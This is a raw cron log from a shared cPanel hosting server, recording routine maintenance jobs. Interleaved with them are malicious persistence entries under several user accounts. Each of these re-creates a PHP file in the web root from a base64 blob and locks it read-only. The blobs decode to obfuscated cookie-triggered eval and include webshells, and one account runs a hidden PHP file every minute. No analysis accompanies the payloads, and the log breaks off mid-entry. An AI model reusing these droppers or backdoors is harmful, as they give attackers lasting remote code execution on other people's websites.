Mar  2 00:29:02 medusa CROND[27364]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:29:02 medusa CROND[27365]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:29:02 medusa CROND[27366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:29:02 medusa CROND[27360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:29:02 medusa CROND[27367]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:29:02 medusa CROND[27368]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:29:02 medusa CROND[27370]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:29:02 medusa CROND[27361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:29:02 medusa CROND[27373]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:29:25 medusa crontab[10907]: (root) LIST (root)
Mar  2 00:30:01 medusa CROND[29233]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29265]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:30:01 medusa CROND[29503]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:30:01 medusa CROND[29507]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:30:01 medusa CROND[29508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:30:01 medusa CROND[29506]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29509]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:30:01 medusa CROND[29512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:30:01 medusa CROND[29517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:30:01 medusa CROND[29520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:30:01 medusa CROND[29521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 00:30:01 medusa CROND[29518]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  2 00:30:01 medusa CROND[29524]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29526]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 00:30:01 medusa CROND[29527]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:30:01 medusa CROND[29533]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:30:01 medusa CROND[29534]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29530]: (root) CMD (/usr/local/cpanel/bin/backup)
Mar  2 00:30:01 medusa CROND[29535]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29539]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29540]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:30:01 medusa CROND[29541]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:30:01 medusa CROND[29542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:30:01 medusa CROND[29545]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:30:01 medusa CROND[29549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29551]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:30:01 medusa CROND[29555]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29556]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:30:01 medusa CROND[29536]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 00:30:01 medusa CROND[29553]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 00:30:01 medusa CROND[29561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:30:01 medusa CROND[29531]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 00:30:01 medusa CROND[29537]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 00:31:01 medusa crond[30932]: (*system*) RELOAD (/etc/cron.d/xray-plugin-check-cron)
Mar  2 00:31:01 medusa crond[30932]: (nespencapital) ORPHAN (no passwd entry)
Mar  2 00:31:01 medusa crond[30932]: (ideastodoterreno) WRONG FILE OWNER (/var/spool/cron/ideastodoterreno)
Mar  2 00:31:02 medusa crond[30932]: (alejandrosignore) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (finapro) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (notisyhech) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (spiga) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (camozzi) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (ipactos) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (flavia) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (estudiorillo) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (tecnocom) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa crond[30932]: (medinaruben) ORPHAN (no passwd entry)
Mar  2 00:31:02 medusa CROND[2356]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:31:02 medusa CROND[2357]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:31:02 medusa CROND[2358]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:31:02 medusa CROND[2359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:31:02 medusa CROND[2360]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:31:02 medusa CROND[2361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:31:02 medusa CROND[2363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:31:02 medusa CROND[2364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 